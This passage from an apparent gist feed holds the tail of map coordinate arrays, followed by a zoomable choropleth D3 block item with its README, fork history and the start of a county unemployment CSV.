-8,0],[-6,8],[-13,6],[-7,16],[-10,16],[-1,19],[16,27],[20,43],[15,27],[8,-15],[8,-3],[2,21],[-5,3],[-1,18],[20,29],[22,22],[12,2],[7,-7],[-4,-32],[2,-22],[-3,-15],[4,-26],[8,5],[10,-5],[11,6],[4,-10],[7,-2],[7,10],[8,-11],[9,42],[5,2],[5,-8],[2,24],[-12,11],[-11,-9],[1,31],[-8,34],[-10,10],[-2,30],[7,8],[9,-31],[-1,-24],[4,-18],[10,-22],[2,23],[-11,30],[5,54],[-4,10],[-11,-12],[-11,3],[-2,10],[-6,-10],[-24,23],[0,24],[-7,54],[-6,19],[-9,17],[-19,46],[-9,18],[-8,4],[-13,31],[-12,18],[-1,6],[9,10],[4,29],[1,59],[25,-4],[31,13],[8,11],[12,29],[12,45],[3,45],[5,38],[10,33],[5,24],[13,38],[2,-10],[11,-3],[16,20],[10,21],[24,64],[9,4],[1,-10],[9,7],[9,-2],[18,9],[17,28],[17,58],[7,13],[2,-10],[26,-24],[2,-17],[-9,-22],[-4,-1],[0,-29],[14,9],[0,16],[6,14],[2,-8],[5,33],[13,-30],[-2,-23],[8,-6],[5,-14],[7,22],[13,1],[7,7],[18,-7],[10,-8],[-5,-45],[17,-12],[2,-11],[16,-20],[1,9],[12,13],[11,-1],[0,-11],[7,-1],[7,15],[11,2],[9,-6],[11,-16],[5,3],[7,-22],[4,9],[7,-7],[5,-13]],[[717,7456],[-1,-8],[-9,13],[7,49],[6,4],[4,45],[5,-40],[4,14],[8,-22],[0,-31],[-11,-4],[-5,-13],[-8,-7]],[[688,7363],[8,25],[-8,6],[0,22],[6,14],[5,-10],[0,-22],[3,15],[0,32],[5,-15],[1,21],[5,-12],[5,0],[5,11],[7,-20],[0,-55],[9,4],[-6,-37],[-11,15],[4,-24],[-3,-20],[-6,10],[0,-38],[-8,-10],[-3,-16],[-5,15],[-6,-40],[-4,-4],[-5,-18],[-2,43],[-6,-23],[-1,13],[-6,14],[0,39],[-6,15],[4,45],[11,28],[7,-2],[1,-21]],[[671,7185],[-6,-39],[-2,6],[8,33]],[[640,7055],[4,-2],[-1,-40],[-8,6],[-1,13],[6,23]],[[519,6933],[-2,-41],[-9,-33],[5,51],[2,-5],[4,28]],[[501,6947],[5,0],[0,-20],[-5,-23],[-5,15],[-3,-14],[-2,35],[2,12],[8,-5]],[[451,6875],[1,-16],[-3,-11],[-3,18],[5,9]],[[447,8527],[-4,-19],[-2,16],[6,3]],[[436,6781],[6,-7],[-1,-16],[-5,1],[0,22]],[[358,6745],[2,-22],[-5,-10],[-1,23],[4,9]],[[352,6718],[-8,-21],[-2,14],[3,19],[7,-12]],[[335,7902],[6,7],[2,-14],[5,3],[6,-12],[1,-54],[-3,-18],[-7,-11],[-2,-18],[-11,20],[-5,-1],[-10,28],[-4,0],[-6,15],[-2,25],[3,7],[10,-7],[5,20],[6,2],[2,14],[4,-6]],[[334,6690],[5,-14],[-10,-36],[1,-6],[12,26],[0,-15],[-5,-17],[-8,-12],[-1,-18],[-8,-18],[-7,-1],[-5,-18],[-9,-16],[-5,17],[9,20],[3,-3],[8,16],[-2,19],[4,20],[6,-9],[1,12],[-7,4],[-4,14],[4,23],[11,13],[2,-26],[5,25]],[[266,6527],[10,37],[1,16],[4,17],[7,9],[3,-10],[2,-25],[-13,-27],[-6,-40],[-5,-13],[-3,36]],[[238,6477],[2,-19],[-8,-1],[-1,13],[7,7]],[[227,7303],[-4,-18],[-1,18],[5,0]],[[212,6440],[2,-18],[-5,-13],[-1,19],[4,12]],[[182,8542],[22,-28],[13,24],[6,-2],[5,-14],[2,-23],[11,-12],[4,-12],[15,-5],[9,-8],[-5,-28],[-7,6],[-8,-5],[-4,-13],[-4,-28],[-5,26],[-6,18],[-6,2],[-3,20],[-15,25],[-6,1],[-11,-22],[-7,11],[-4,23],[4,44]],[[162,6381],[0,-22],[-5,-4],[1,19],[4,7]],[[128,6335],[4,-8],[10,1],[1,-7],[-13,-9],[-2,23]],[[108,6360],[0,19],[4,7],[6,-19],[-2,-17],[-4,1],[1,-20],[-5,-2],[-12,-21],[-6,6],[2,15],[7,-2],[9,33]],[[47,6279],[5,3],[0,-24],[-6,3],[-8,-28],[-4,37],[4,1],[0,29],[5,1],[0,-21],[4,-1]],[[28,6296],[3,-9],[-2,-32],[-5,-10],[0,20],[4,31]],[[0,6291],[5,-1],[4,-23],[-4,-27],[-5,51]],[[9993,6496],[6,-13],[0,-19],[-11,-12],[-8,31],[0,15],[13,-2]],[[1966,3444],[-1,-1081]],[[1965,2363],[-57,0],[-34,71],[-73,150],[3,43]],[[1804,2627],[6,8],[1,16],[-1,36],[-4,1],[-2,71],[6,27],[0,28],[-1,45],[4,34],[4,12],[4,25],[-6,27],[-4,51],[-5,31],[0,24]],[[1806,3063],[2,26],[0,36],[-3,36],[-2,112],[11,7],[3,-23],[3,1],[3,33],[0,153]],[[1823,3444],[101,2],[42,-2]],[[2515,3253],[-1,-35],[-4,-11],[-1,-29],[-5,-31],[0,-46],[-3,-34],[-3,-5]],[[2498,3062],[2,-17],[-4,-14],[-2,-33],[-3,-8],[0,-38],[-5,-10],[0,-13],[-6,-31],[2,-21],[-5,-30],[-5,-59],[5,-25],[-2,-16],[1,-39],[-2,-26]],[[2474,2682],[-69,3],[-13,0]],[[2392,2685],[0,101],[-4,8],[-5,-9],[-3,18]],[[2380,2803],[1,335],[-5,211]],[[2376,3349],[4,0],[123,-1],[2,-36],[-4,-23],[-4,-36],[18,0]],[[1654,4398],[0,-331],[0,-241],[36,-171],[35,-169],[27,-137],[20,-101],[34,-185]],[[1804,2627],[-38,-18],[-30,-16],[-4,25],[0,40],[-2,47],[-4,33],[-9,46],[-12,43],[-2,-12],[-4,8],[1,18],[-5,39],[-7,-8],[-12,28],[-2,23],[-8,28],[-9,-1],[-7,13],[-10,-6],[-5,26],[1,53],[-1,8],[1,38],[-8,28],[0,39],[-3,2],[-4,33],[-4,8],[-1,20],[-11,79],[-5,23],[-1,62],[2,-6],[2,37],[-4,33],[-5,-4],[-7,30],[-2,24],[0,23],[-3,31],[0,50],[5,0],[-2,70],[-2,-7],[-1,-35],[-5,-7],[-7,26],[-1,45],[-4,35],[-6,22],[-3,25],[-9,50],[2,14],[-4,64],[2,35],[-3,54],[-7,52],[-7,29],[-2,35],[7,83],[2,29],[-2,22],[3,57],[-2,52],[-3,13],[1,42]],[[1534,4399],[28,1],[24,1],[38,-3],[30,0]],[[2107,4208],[57,0],[0,-191]],[[2164,4017],[1,-574]],[[2165,3443],[-28,1]],[[2137,3444],[-38,-1],[-72,0],[-15,1],[-46,0]],[[1966,3444],[0,223],[-1,21],[0,162],[0,357]],[[1965,4207],[32,1],[63,-1],[47,1]],[[3025,4400],[0,-113],[-2,-18]],[[3023,4269],[-2,3],[-12,-14],[-15,4],[-7,-26],[-7,-9],[-8,-22]],[[2972,4205],[-2,22],[7,21],[-2,16],[2,144]],[[2977,4408],[12,-2],[36,-3],[0,-3]],[[2922,3980],[-2,-23]],[[2920,3957],[-3,-13],[0,-30],[5,-29],[1,-47],[6,-49],[3,-2],[1,-66]],[[2933,3721],[-19,3],[-2,240]],[[2912,3964],[5,21],[5,-5]],[[2876,3786],[-2,27]],[[2874,3813],[2,12],[4,-19],[-4,-20]],[[2649,2300],[4,-55],[39,-13],[37,-14],[1,-41],[4,1],[1,39],[-1,35],[2,15],[7,-16],[8,-7]],[[2751,2244],[1,-83],[4,-93],[8,-122],[13,-131],[-2,-9],[1,-61],[5,-68],[8,-137],[2,-42],[0,-44],[-3,-158],[-3,-3],[-3,-49],[1,-16],[-5,-36],[-2,9],[-6,-15],[-9,-8],[-2,20],[1,29],[-7,85],[-5,15],[-4,-11],[-3,47],[-1,38],[-6,43],[-2,28],[1,41],[-3,8],[1,-24],[-3,-7],[-9,104],[-4,26],[9,76],[-6,-4],[-4,-24],[-3,38],[5,104],[1,87],[-4,21],[-1,28],[-5,6],[-7,46],[-5,19],[0,28],[-4,11],[-3,31],[-11,42],[-9,-10],[0,-29],[-3,5],[-12,-35],[-12,-9],[0,21],[-3,25],[-15,57],[-10,24],[-10,6],[-8,-4],[-17,-18]],[[2703,3063],[-6,-41],[0,-20],[9,-40],[3,3],[5,-42],[1,-22],[4,-40],[7,-24],[3,-35],[8,-33],[0,-22],[5,-35],[7,-29],[2,-32],[1,-40],[3,-14],[5,-51],[0,-33],[7,-16]],[[2767,2497],[-7,-65],[-2,-34],[-3,-29],[0,-30],[-3,-14],[-1,-81]],[[2632,3060],[37,1]],[[2669,3061],[20,-1],[14,3]],[[640,0],[-7,17],[-1,16],[1,43],[-5,73],[4,24],[2,34],[-2,22],[1,23],[8,-27],[9,-20],[5,-29],[0,-26],[8,-40],[-5,-34],[-8,-15],[-7,-25],[-3,-36]],[[613,397],[3,-26],[4,11],[9,-30],[-1,-27],[-9,-14],[-2,6],[-1,33],[-5,7],[-1,19],[3,21]],[[602,432],[-3,-20],[-7,0],[2,22],[8,-2]],[[574,525],[3,-45],[-2,-26],[-6,-5],[-4,54],[4,1],[5,21]],[[531,626],[3,-2],[2,-20],[-1,-28],[-4,-18],[-9,22],[1,31],[8,15]],[[1766,5734],[0,-195],[9,-54],[1,-52],[5,-23],[6,-8],[0,-14],[11,-51],[1,-21],[8,-20],[0,-12],[8,1],[-4,-71],[-1,-45],[3,-29],[-5,-21],[2,</code></pre><p><em>Truncated — <a href="https://gist.github.com/cf7bedda70b95103bd71b87f159ad269">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></title>
      <link>https://gist.github.com/1bfb2602816244f016b7ba9efd791114</link>
      <guid isPermaLink="true">https://gist.github.com/1bfb2602816244f016b7ba9efd791114</guid>
      <pubDate>Wed, 21 Sep 2016 18:13:04 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2016-09-21T18:13:05.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>.block</code:filename>
        <code:language>Unknown</code:language>
        <code:size>25</code:size>
      </code:file>
      <code:file>
        <code:filename>README.md</code:filename>
        <code:language>Markdown</code:language>
        <code:size>5287</code:size>
      </code:file>
      <code:file>
        <code:filename>data.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>110666</code:size>
      </code:file>
      <code:file>
        <code:filename>index.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>6530</code:size>
      </code:file>
      <code:file>
        <code:filename>us-counties.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>656701</code:size>
      </code:file>
      <code:file>
        <code:filename>us-states.json</code:filename>
        <code:language>JSON</code:language>
        <code:size>27577</code:size>
      </code:file>
      <description><![CDATA[Zoomable Choropleth D3 V3 - Queue removed]]></description>
      <content:encoded><![CDATA[<h3>.block</h3><pre><code>license: mit
height: 600
</code></pre>
<h3>README.md</h3><pre><code class="language-markdown">Block-a-Day #11. Clicking on a state zooms the map to that state and shows county-level data.

**Data Sources:** [BLS](http://www.bls.gov/lau/).

**What I Learned:** Trying out the new [_projection_.fitExtent()](https://github.com/d3/d3-geo#projection_fitExtent). In the process, learned about [adaptive resampling](http://bl.ocks.org/mbostock/3795544), which can break interpolation by changing the number of coordinates in a path at different zoom levels. Fixed the resulting bug by setting [_projection_.precision()](https://github.com/d3/d3-geo#projection_precision) to 0, effectively turning off resampling.

**What I&apos;d Do With More Time:** Finding a way to include Alaska and Hawaii is an obvious next step (albersUSA didn&apos;t immediately work with this technique). Could probably use more detailed county shapefiles.

## Block-a-Day

Just what it sounds like. For fifteen days, I will make a [D3.js v4](https://d3js.org) block every single day. Rules:

1. Ideas over implementation. Do something novel, don&apos;t sweat the details.
2. No more than two hours can be spent on coding (give or take).
3. Every. Single. Day.

### Previously

* [Map to Force-Directed Graph](https://bl.ocks.org/cmgiven/4cfa1a95f9b952622280a90138842b79)
* [Brushable Scatterplot/Choropleth](https://bl.ocks.org/cmgiven/abca90f6ba5f0a14c54d1eb952f8949c)
* [Treemap Bar Chart](https://bl.ocks.org/cmgiven/018fd027d443b177e18fffb9afcdb5bd)
* [Triangular Scatterplot](https://bl.ocks.org/cmgiven/a0f58034cea5331a814b30b74aacb8af)
* [Choropleth with Animated Stripes](http://bl.ocks.org/cmgiven/09140e2ac8119340048f62d1b241977e)
* [Collatz Conjecture](https://bl.ocks.org/cmgiven/231f779f9655025f38b5b4b828f3b7b0)
* [Bouncing Logo](https://bl.ocks.org/cmgiven/a325f14550a65dc8ff6898ef0f9feeb4)
* [Rectangular Collision Detection](https://bl.ocks.org/cmgiven/547658968d365bcc324f3e62e175709b)
* [Demers Catogram](https://bl.ocks.org/cmgiven/9d6bc46cf586738458c13dd2b5dadd84)
* [Gooey Exploding Scatterplot](https://bl.ocks.org/cmgiven/e5dfe0888968ee8c507f5469a4d62b6f)


forked from &lt;a href=&apos;http://bl.ocks.org/cmgiven/&apos;&gt;cmgiven&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/cmgiven/d39ec773c4f063a463137748097ff52f&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/670b131bf0e22caa5c0901191edd89e1&apos;&gt;Zoomable Choropleth&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/anonymous/&apos;&gt;anonymous&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/anonymous/321222dc2bc719633f230301a0cf5105&apos;&gt;Zoomable Choropleth D3 V3&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a9012e6300d13ec5249b8f5827430505&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f41c371da87a76c88b768c67e382e3ad&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/1f1955af07b8a6b8280fa6a86b3bf033&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/78794dcae28394eec2215a1b7fb2bc24&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/867a7b513aa7edaf41dc798dd6be4d5a&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/d8b87b4d3d74944be837e21f12ec0b7e&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/b2b7902aac884a4a5f41479b0b55c952&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/74c955c65eec82f8425616d26fabee4f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c812bfdde1e6f06a4a437eb7112a02d4&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/12768d82017fb435c62c90649d9071d8&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/c3f658314b0cf3ce1f714631ff62ad04&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/a13a390b32f5dc70a62aeb3af5e8e568&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/3dd69f510085138459f3b2702347563f&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/f644e13737e8a14417ebbd4374e1281b&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;

forked from &lt;a href=&apos;http://bl.ocks.org/ejfox/&apos;&gt;ejfox&lt;/a&gt;&apos;s block: &lt;a href=&apos;http://bl.ocks.org/ejfox/036c2a6819ca5211d6b51efa7cd7f008&apos;&gt;Zoomable Choropleth D3 V3 - Queue removed&lt;/a&gt;</code></pre>
<h3>data.csv</h3><pre><code class="language-csv">state,county,name,unemployment
01,000,Alabama,0.061
01,001,&quot;Autauga County, AL&quot;,0.052
01,003,&quot;Baldwin County, AL&quot;,0.055
01,005,&quot;Barbour County, AL&quot;,0.089
01,007,&quot;Bibb County, AL&quot;,0.066
01,009,&quot;Blount County, AL&quot;,0.054
01,011,&quot;Bullock County, AL&quot;,0.078
01,013,&quot;Butler County, AL&quot;,0.075
01,015,&quot;Calhoun County, AL&quot;,0.07
01,017,&quot;Chambers County, AL&quot;,0.06
01,019,&quot;Cherokee County, AL&quot;,0.054
01,021,&quot;Chilton County, AL&quot;,0.057
01,023,&quot;Choctaw County, AL&quot;,0.091
01,025,&quot;Clarke County, AL&quot;,0.118
01,027,&quot;Clay County, AL&quot;,0.062
01,029,&quot;Cleburne County, AL&quot;,0.06
01,031,&quot;Coffee County, AL&quot;,0.059
01,033,&quot;Colbert County, AL&quot;,0.079
01,035,&quot;Conecuh County, AL&quot;,0.092
01,037,&quot;Coosa County, AL&quot;,0.067
01,039,&quot;Covington County, AL&quot;,0.071
01,041,&quot;Crenshaw County, AL&quot;,0.06
01,043,&quot;Cullman County, AL&quot;,0.053
01,045,&quot;Dale County, AL&quot;,0.064
01,047,&quot;Dallas County, AL&quot;,0.096
01,049,&quot;DeKalb County, AL&quot;,0.06
01,051,&quot;Elmore County, AL&quot;,0.051
01,053,&quot;Escambia County, AL&quot;,0.07
01,055,&quot;Etowah County, AL&quot;,0.061
01,057,&quot;Fayette County, AL&quot;,0.07
01,059,&quot;Franklin County, AL&quot;,0.064
01,061,&quot;Geneva County, AL&quot;,0.059
01,063,&quot;Greene County, AL&quot;,0.11
01,065,&quot;Hale County, AL&quot;,0.078
01,067,&quot;Henry County, AL&quot;,0.068
01,069,&quot;Houston County, AL&quot;,0.062
01,071,&quot;Jackson County, AL&quot;,0.066
01,073,&quot;Jefferson County, AL&quot;,0.058
01,075,&quot;Lamar County, AL&quot;,0.063
01,077,&quot;Lauderdale County, AL&quot;,0.069
01,079,&quot;Lawrence County, AL&quot;,0.077
01,081,&quot;Lee County, AL&quot;,0.051
01,083,&quot;Limestone County, AL&quot;,0.055
01,085,&quot;Lowndes County, AL&quot;,0.116
01,087,&quot;Macon County, AL&quot;,0.081
01,089,&quot;Madison County, AL&quot;,0.055
01,091,&quot;Marengo County, AL&quot;,0.077
01,093,&quot;Marion County, AL&quot;,0.07
01,095,&quot;Marshall County, AL&quot;,0.058
01,097,&quot;Mobile County, AL&quot;,0.07
01,099,&quot;Monroe County, AL&quot;,0.101
01,101,&quot;Montgomery County, AL&quot;,0.062
01,103,&quot;Morgan County, AL&quot;,0.058
01,105,&quot;Perry County, AL&quot;,0.1
01,107,&quot;Pickens County, AL&quot;,0.068
01,109,&quot;Pike County, AL&quot;,0.067
01,111,&quot;Randolph County, AL&quot;,0.059
01,113,&quot;Russell County, AL&quot;,0.06
01,115,&quot;St. Clair County, AL&quot;,0.052
01,117,&quot;Shelby County, AL&quot;,0.042
01,119,&quot;Sumter County, AL&quot;,0.08
01,121,&quot;Talladega County, AL&quot;,0.066
01,123,&quot;Tallapoosa County, AL&quot;,0.061
01,125,&quot;Tuscaloosa County, AL&quot;,0.055
01,127,&quot;Walker County, AL&quot;,0.072
01,129,&quot;Washington County, AL&quot;,0.089
01,131,&quot;Wilcox County, AL&quot;,0.147
01,133,&quot;Winston County, AL&quot;,0.076
02,000,Alaska,0.067
02,013,&quot;Aleutians East Borough, AK&quot;,0.032
02,016,&quot;Aleutians West Census Area, AK&quot;,0.038
02,020,&quot;Anchorage Borough/municipality, AK&quot;,0.05
02,050,&quot;Bethel Census Area, AK&quot;,0.144
02,060,&quot;Bristol Bay Borough, AK&quot;,0.092
02,068,&quot;Denali Borough, AK&quot;,0.087
02,070,&quot;Dillingham Census Area, AK&quot;,0.097
02,090,&quot;Fairbanks North Star Borough, AK&quot;,0.054
02,100,&quot;Haines Borough, AK&quot;,0.097
02,105,&quot;Hoonah-Angoon Census Area, AK&quot;,0.15
02,110,&quot;Juneau Borough/city, AK&quot;,0.046
02,122,&quot;Kenai Peninsula Borough, AK&quot;,0.078
02,130,&quot;Ketchikan Gateway Borough, AK&quot;,0.068
02,150,&quot;Kodiak Island Borough, AK&quot;,0.049
02,158,&quot;Kusilvak Census Area, AK&quot;,0.232
02,164,&quot;Lake and Peninsula Borough, AK&quot;,0.127
02,170,&quot;Matanuska-Susitna Borough, AK&quot;,0.078
02,180,&quot;Nome Census Area, AK&quot;,0.117
02,185,&quot;North Slope Borough, AK&quot;,0.056
02,188,&quot;Northwest Arctic Borough, AK&quot;,0.155
02,195,&quot;Petersburg Borough, AK&quot;,0.089
02,198,&quot;Prince of Wales-Hyder Census Area, AK&quot;,0.125
02,220,&quot;Sitka Borough/city, AK&quot;,0.045
02,230,&quot;Skagway Municipality, AK&quot;,0.115
02,240,&quot;Southeast Fairbanks Census Area, AK&quot;,0.108
02,261,&quot;Valdez-Cordova Census Area, AK&quot;,0.088
02,275,&quot;Wrangell Borough/city, AK&quot;,0.078
02,282,&quot;Yakutat Borough/city, AK&quot;,0.083
02,290,&quot;Yukon-Koyukuk Census Area, AK&quot;,0.18
04,000,Arizona,0.06
04,001,&quot;Apache County, AZ&quot;,0.134
04,003,&quot;Cochise County, AZ&quot;,0.074
04,005,&quot;Coconino County, AZ&quot;,0.066
04,007,&quot;Gila County, AZ&quot;,0.08
04,009,&quot;Graham County, AZ&quot;,0.074
04,011,&quot;Greenlee County, AZ&quot;,0.079
04,012,&quot;La Paz County, AZ&quot;,0.076
04,013,&quot;Maricopa County, AZ&quot;,0.052
04,015,&quot;Mohave County, AZ&quot;,0.08
04,017,&quot;Navajo County, AZ&quot;,0.097
04,019,&quot;Pima County, AZ&quot;,0.056
04,021,&quot;Pinal County, AZ&quot;,0.063
04,023,&quot;Santa Cruz County, AZ&quot;,0.115
04,025,&quot;Yavapai County, AZ&quot;,0.056
04,027,&quot;Yuma County, AZ&quot;,0.218
05,000,Arkansas,0.052
05,001,&quot;Arkansas County, AR&quot;,0.044
05,003,&quot;Ashley County, AR&quot;,0.08
05,005,&quot;Baxter County, AR&quot;,0.057
05,007,&quot;Benton County, AR&quot;,0.039
05,009,&quot;Boone County, AR&quot;,0.051
05,011,&quot;Bradley County, AR&quot;,0.062
05,013,&quot;Calhoun County, AR&quot;,0.058
05,015,&quot;Carroll County, AR&quot;,0.048
05,017,&quot;Chicot County, AR&quot;,0.094
05,019,&quot;Clark County, AR&quot;,0.057
05,021,&quot;Clay County, AR&quot;,0.069
05,023,&quot;Cleburne County, AR&quot;,0.072
05,025,&quot;Cleveland County, AR&quot;,0.058
05,027,&quot;Columbia County, AR&quot;,0.068
05,029,&quot;Conway County, AR&quot;,0.063
05,031,&quot;Craighead County, AR&quot;,0.046
05,033,&quot;Crawford County, AR&quot;,0.054
05,035,&quot;Crittenden County, AR&quot;,0.064
05,037,&quot;Cross County, AR&quot;,0.056
05,039,&quot;Dallas County, AR&quot;,0.074
05,041,&quot;Desha County, AR&quot;,0.076
05,043,&quot;Drew County, AR&quot;,0.071
05,045,&quot;Faulkner County, AR&quot;,0.048
05,047,&quot;Franklin County, AR&quot;,0.052
05,049,&quot;Fulton County, AR&quot;,0.054
05,051,&quot;Garland County, AR&quot;,0.057
05,053,&quot;Grant County, AR&quot;,0.047
05,055,&quot;Greene County, AR&quot;,0.053
05,057,&quot;Hempstead County, AR&quot;,0.052
05,059,&quot;Hot Spring County, AR&quot;,0.052
05,061,&quot;Howard County, AR&quot;,0.044
05,063,&quot;Independence County, AR&quot;,0.067
05,065,&quot;Izard County, AR&quot;,0.069
05,067,&quot;Jackson County, AR&quot;,0.078
05,069,&quot;Jefferson County, AR&quot;,0.072
05,071,&quot;Johnson County, AR&quot;,0.06
05,073,&quot;Lafayette County, AR&quot;,0.079
05,075,&quot;Lawrence County, AR&quot;,0.063
05,077,&quot;Lee County, AR&quot;,0.069
05,079,&quot;Lincoln County, AR&quot;,0.063
05,081,&quot;Little River County, AR&quot;,0.057
05,083,&quot;Logan County, AR&quot;,0.059
05,085,&quot;Lonoke County, AR&quot;,0.043
05,087,&quot;Madison County, AR&quot;,0.039
05,089,&quot;Marion County, AR&quot;,0.054
05,091,&quot;Miller County, AR&quot;,0.052
05,093,&quot;Mississippi County, AR&quot;,0.093
05,095,&quot;Monroe County, AR&quot;,0.063
05,097,&quot;Montgomery County, AR&quot;,0.07
05,099,&quot;Nevada County, AR&quot;,0.052
05,101,&quot;Newton County, AR&quot;,0.051
05,103,&quot;Ouachita County, AR&quot;,0.066
05,105,&quot;Perry County, AR&quot;,0.063
05,107,&quot;Phillips County, AR&quot;,0.079
05,109,&quot;Pike County, AR&quot;,0.062
05,111,&quot;Poinsett County, AR&quot;,0.057
05,113,&quot;Polk County, AR&quot;,0.06
05,115,&quot;Pope County, AR&quot;,0.055
05,117,&quot;Prairie County, AR&quot;,0.048
05,119,&quot;Pulaski County, AR&quot;,0.047
05,121,&quot;Randolph County, AR&quot;,0.074
05,123,&quot;St. Francis County, AR&quot;,0.075
05,125,&quot;Saline County, AR&quot;,0.042
05,127,&quot;Scott County, AR&quot;,0.05
05,129,&quot;Searcy County, AR&quot;,0.058
05,131,&quot;Sebastian County, AR&quot;,0.05
05,133,&quot;Sevier County, AR&quot;,0.064
05,135,&quot;Sharp County, AR&quot;,0.071
05,137,&quot;Stone County, AR&quot;,0.065
05,139,&quot;Union County, AR&quot;,0.064
05,141,&quot;Van Buren County, AR&quot;,0.07
05,143,&quot;Washington County, AR&quot;,0.036
05,145,&quot;White County, AR&quot;,0.065
05,147,&quot;Woodruff County, AR&quot;,0.067
05,149,&quot;Yell County, AR&quot;,0.053
06,000,California,0.062
06,001,&quot;Alameda County, CA&quot;,0.047
06,003,&quot;Alpine County, CA&quot;,0.079
06,005,&quot;Amador County, CA&quot;,0.066
06,007,&quot;Butte County, CA&quot;,0.072
06,009,&quot;Calaveras County, CA&quot;,0.065
06,011,&quot;Colusa County, CA&quot;,0.153
06,013,&quot;Contra Costa County, CA&quot;,0.05
06,015,&quot;Del Norte County, CA&quot;,0.086
06,017,&quot;El Dorado County, CA&quot;,0.057
06,019,&quot;Fresno County, CA&quot;,0.102
06,021,&quot;Glenn County, CA&quot;,0.087
06,023,&quot;Humboldt County, CA&quot;,0.056
06,025,&quot;Imperial County, CA&quot;,0.24
06,027,&quot;Inyo County, CA&quot;,0.058
06,029,&quot;Kern County, CA&quot;,0.102
06,031,&quot;Kings County, CA&quot;,0.105
06,033,&quot;Lake County, CA&quot;,0.077
06,035,&quot;Lassen County, CA&quot;,0.073
06,037,&quot;Los Angeles County, CA&quot;,0.067
06,039,&quot;Madera County, CA&quot;,0.105
06,041,&quot;Marin County, CA&quot;,0.035
06,043,&quot;Mariposa County, CA&quot;,0.072
06,045,&quot;Mendocino County, CA&quot;,0.059
06,047,&quot;Merced County, CA&quot;,0.114
06,049,&quot;Modoc County, CA&quot;,0.088
06,051,&quot;Mono County, CA&quot;,0.061
06,053,&quot;Monterey County, CA&quot;,0.081
06,055,&quot;Napa County, CA&quot;,0.046
06,057,&quot;Nevada County, CA&quot;,0.055
06,059,&quot;Orange County, CA&quot;,0.045
06,061,&quot;Placer County, CA&quot;,0.05
06,063,&quot;Plumas County, CA&quot;,0.104
06,065,&quot;Riverside County, CA&quot;,0.067
06,067,&quot;Sacramento County, CA&quot;,0.06
06,069,&quot;San Benito County, CA&quot;,0.076
06,071,&quot;San Bernardino County, CA&quot;,0.065
06,073,&quot;San Diego County, CA&quot;,0.052
06,075,&quot;San Francisco County/city, CA&quot;,0.036
